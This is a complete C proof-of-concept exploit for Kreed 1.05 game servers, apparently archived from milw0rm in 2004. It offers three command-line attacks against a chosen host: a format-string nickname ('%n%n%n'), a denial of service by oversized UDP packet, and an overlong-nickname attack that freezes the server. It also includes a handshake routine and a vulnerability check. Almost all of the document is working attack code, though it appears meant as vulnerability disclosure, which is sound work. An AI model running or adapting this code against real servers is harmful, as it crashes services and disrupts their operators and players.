Kreed 1.05 - Format String / Denial of Service

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
/*

Read/Write bits to buffer 0.1.1
by Luigi Auriemma
e-mail: aluigi@altervista.org
web:    http://aluigi.altervista.org

max 32 bits numbers supported (from 0 to 4294967295).
Probably not the fastest bit packing functions existent, but I like them.

*/



unsigned long read_bits(    // number read
  unsigned long bits,       // how much bits to read
  unsigned char *in,        // buffer from which to read the number
  unsigned long in_bits     // position of the buffer in bits
) {
    unsigned long   seek_bits,
                    rem,
                    seek = 0,
                    ret  = 0,
                    mask = -1L;

    if(bits > 32) return(0);
    if(bits < 32) mask = (1 << bits) - 1;
    for(;;) {
        seek_bits = in_bits & 7;
        ret |= ((*(in + (in_bits >> 3)) >> seek_bits) & mask) << seek;
        rem = 8 - seek_bits;
        if(rem >= bits) break;
        bits    -= rem;
        in_bits += rem;
        seek    += rem;
        mask    = (1 << bits) - 1;
    }
    return(ret);
}



unsigned long write_bits(   // position where the stored number finishs
  unsigned long data,       // number to store
  unsigned long bits,       // how much bits to occupy
  unsigned char *out,       // buffer on which to store the number
  unsigned long out_bits    // position of the buffer in bits
) {
    unsigned long   seek_bits,
                    rem;

    if(bits > 32) return(out_bits);
    if(bits < 32) data &= ((1 << bits) - 1);
    for(;;) {
        seek_bits = out_bits & 7;
        *(out + (out_bits >> 3)) &= (1 << seek_bits) - 1;   // zero
        *(out + (out_bits >> 3)) |= (data << seek_bits);
        rem = 8 - seek_bits;
        if(rem >= bits) break;
        out_bits += rem;
        bits     -= rem;
        data     >>= rem;
    }
    return(out_bits + bits);
}




#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}




    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER         "0.1"
#define BUFFSZ      2048    // 1400 is enough for Kreed
#define PORT        28902
#define TIMEOUT     3
#define KREEDVER    33
#define NICKNAME    "%n%n%n"
#define INFO        "get_info"
#define CHALL       "get_challenge\n"
#define CONNECT     "connect %d %d %d name '%s' model 'mifs/players/leg_cmn_c1_MP.mif' string 'no info' gender 'male' rate 100000\n"
#define SCRIPTERR   100     // 30 is enough



#define SEND(x,y)   if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \
                      < 0) std_err();

#define RECV        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                    if(len < 0) std_err();

#define RECVT       if(timeout(sd) < 0) { \
                        fputs("\n" \
                            "Error: socket timeout, no reply received\n" \
                            "\n", stdout); \
                        exit(1); \
                    } \
                    RECV;




int build_kreed_pck(u_char *buff, int type, u_char *data);
void read_kreed_pck(u_char *buff, int len);
void kreed_info(void);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;



int main(int argc, char *argv[]) {
    int     sd,
            len,
            challenge,
            attack,
            version = KREEDVER;
    u_short port = PORT;
    u_char  *buff,
            *tmp,
            *p,
            *nick = NICKNAME;


    setbuf(stdout, NULL);

    fputs("\n"
        "Kreed <= 1.05 format string, message too long and scripts bugs "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%d)]\n"
            "\n"
            "Attack:\n"
            " 1 = in-game format string in client's nickname\n"
            " 2 = Denial of Service caused by a packet of 1401 or more bytes\n"
            " 3 = in-game annoying script dialog errors caused by too long nickname or model\n"
            "     values. The server is freezed until the messages are on the screen.\n"
            "\n", argv[0], port);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    attack = atoi(argv[1]);
    if((attack < 1) || (attack > 3)) {
        fputs("\nError: you can only choose between the available attacks\n\n", stdout);
        exit(1);
    }

    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- request informations:\n", stdout);
    kreed_info();

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    if(attack == 2) {
        fputs("- start \"Message too long\" DoS attack:\n", stdout);

        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        memset(buff, 0x00, BUFFSZ);
        fputs("- send BOOM packet\n", stdout);
        SEND(buff, BUFFSZ);
        close(sd);

    } else {
        if(attack == 1) {
            fputs("- start format string attack:\n", stdout);
        } else if(attack == 3) {
            fputs("- start annoying script errors attack:\n", stdout);

            nick = malloc(SCRIPTERR + 1);
            if(!nick) std_err();
            memset(nick, 'a', SCRIPTERR);
            nick[SCRIPTERR] = 0x00;
        }

        tmp = malloc(BUFFSZ);
        if(!tmp) std_err();

        for(;;) {   // loop needed for the version handling
            sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
            if(sd < 0) std_err();

            len = build_kreed_pck(
                buff,
                148,    // challenge
                CHALL);

            fputs("- send challenge request\n", stdout);
            SEND(buff, len);
            RECVT;

            read_kreed_pck(buff, len);
            sscanf(buff, "challenge %d", &challenge);

            sprintf(
                tmp,
                CONNECT,
                version,
                (int)(time(NULL) & 0xffff),    // random port
                challenge,
                nick);

            len = build_kreed_pck(
                buff,
                988,    // connect
                tmp);

            fputs("- send join request\n", stdout);
            SEND(buff, len);
            if(timeout(sd) < 0) {
                fputs("- server is temporary full or is already crashed, I check it\n", stdout);
                close(sd);
                break;
            }
            RECV;

            close(sd);

            read_kreed_pck(buff, len);
            if(!strstr(buff, "client_connect")) {
                p = strstr(buff, "version");
                if(p) {
                    sscanf(p + 8, "%d", &version);
                    printf("- set version number to %d\n", version);
                    continue;
                }
                printf("\n"
                    "Error: your player has not been accepted for the following reason:\n"
                    "\n"
                    "%s\n"
                    "\n", buff);
                exit(1);
            }

            break;  // break if success
        }
    }

    sleep(ONESEC);

    fputs("- check server:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    len = build_kreed_pck(
        buff,
        148,    // challenge
        CHALL);

    SEND(buff, len);

    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}



int build_kreed_pck(u_char *buff, int type, u_char *data) {
    u_long  bits;

    memset(buff, 0x00, BUFFSZ);

    bits = write_bits(12, 32, buff, 0);
    bits = write_bits(type, 16, buff, bits);
    bits = write_bits(0xfffffff, 28, buff, bits);
    while(*data) {
        bits = write_bits(*data, 8, buff, bits);
        data++;
    }

    if(bits & 7) return((bits >> 3) + 1);
    return(bits >> 3);
}



void read_kreed_pck(u_char *buff, int len) {
    u_long  bits = 32,
            check;
    u_char  *p;

    check = read_bits(32, buff, 0);
    if(check != 12) {
        printf("\nError: server has replied with unexpected data (0x%08lx)\n\n", check);
        exit(1);
    }
    read_bits(16, buff, bits);  bits += 16;
    read_bits(28, buff, bits);  bits += 28;
    for(len -= (bits >> 3), p = buff; len; len--) {
        *p++ = read_bits(8, buff, bits);
        bits += 8;
    }
    *p = 0x00;  // useless
}



void kreed_info(void) {
    int     sd,
            len;
    u_char  *buff;

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    len = build_kreed_pck(
        buff,
        124,    // info
        INFO);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    SEND(buff, len);
    RECVT;
    close(sd);

    read_kreed_pck(buff, len);
    printf("%s\n\n", buff);

    free(buff);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2004-12-02]